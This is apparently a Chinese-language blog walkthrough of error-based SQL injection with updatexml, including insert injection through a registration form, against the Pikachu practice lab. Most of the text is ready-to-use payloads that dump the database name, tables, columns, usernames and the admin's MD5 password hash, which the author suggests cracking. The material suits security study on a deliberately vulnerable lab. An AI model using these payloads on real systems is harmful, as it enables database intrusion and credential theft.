有关于updatexml报错的注入
上题

还是先要判一下这里的形式,题目已经是说了是字符型的那我们,就自己去判断一下,主要就是看看他是不是会报错,判断完他是会的,那我们就直接上手吧
利用下面这一条语句将他的数据库库名暴出来
’ and updatexml(1,concat(0x7e,database()),0)# concat在这里的作用是把我们的字符串给连接起来,这样我们的数据就不会被后台藏起来
’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0)# 后面的limit 0,1是限制我们爆出来的字段数在这里应该不能同时报多条语句的,要查询其他的字段我们只需要把limit 0,1改成limit 1,1前一个是声明我们查询的地方后面的是查询的个数,我们还是要把所有的字段给报出来的
继续吧
’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#这个就是用来查询我们users里面的列username

’ and updatexml(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0)#这一条语句就是把我们的admin里面的password给暴出来这样就能够拿到密码了,
应为最后报出来的是一个MD5形式的密码那我们就去解个密就能够拿到密码了。
这里不止一个用户大家可以在pikachu这里多去报一下
Insert 注入
因为前端注册的信息会被后台利用insert的方式给插入到数据库,又没有对我们注册的数据进行防sql注入的操作,导致我们的数据直接就可以插入到后端insert的操作里
在insert注入中特殊的闭合方式利用’or or’ 在这个sql语句中利用or运算会将两个or之间的语句执行
点开注册把下面这一行给写到用户名那里
’ or updatexml(1,concat(0x7e,database()),0) or ’
啊这,既然我们能够去把库名暴出来,那就是直接一步一步来
我就直接上语句了
’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ )),0) or ’
’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1)),0) or ’
‘ or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or ’
’ or updatexml(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0) or ’
浙公网安备 33010602011771号